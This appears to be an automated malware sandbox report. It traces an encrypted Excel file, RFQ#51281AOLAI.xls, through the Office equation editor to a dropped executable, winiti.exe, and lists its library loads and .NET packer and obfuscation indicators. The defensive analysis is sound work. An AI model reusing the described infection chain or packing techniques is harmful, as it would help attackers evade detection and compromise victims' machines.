Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: RFQ#51281AOLAI.xls Static file information: File size 1155083 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000008.00000000.412497282.0000000001382000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.7.dr, winiti.exe.7.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000008.00000000.412497282.0000000001382000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.7.dr, winiti.exe.7.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 00000009.00000002.489080424.00000000008D0000.00000040.00001000.00020000.00000000.sdmp
Source: 07330000.0.dr Initial sample: OLE indicators vbamacros = False
Source: RFQ#51281AOLAI.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 8.2.winiti.exe.590000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 8.2.winiti.exe.289505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: winiti[1].exe.7.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: winiti.exe.7.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401420 push es; retn 00F1h 9_2_004014F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041F0DC push es; retf 9_2_0041F0E6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00412104 pushad ; ret 9_2_0041212D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040C1EA push edx; retf 9_2_0040C1EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00403260 push eax; ret 9_2_00403262
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00426263 push edi; iretd 9_2_0042626E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00408271 push es; ret 9_2_00408272
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00413A0B push esi; retf 9_2_00413A0E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418A13 push ds; retf 2ECDh 9_2_00418BEE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418355 push ebp; retf 9_2_004183DC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418BA5 push ebx; iretd 9_2_00418BA6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041E653 push ds; iretd 9_2_0041E654
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041E63B push ebx; iretd 9_2_0041E64C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_004187CA push ebp; ret 9_2_004187CB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008EDFA1 push ecx; ret 9_2_008EDFB4
Source: winiti[1].exe.7.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: winiti.exe.7.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 8.2.winiti.exe.590000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 8.2.winiti.exe.590000.0.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 8.2.winiti.exe.289505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 8.2.winiti.exe.289505c.4.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
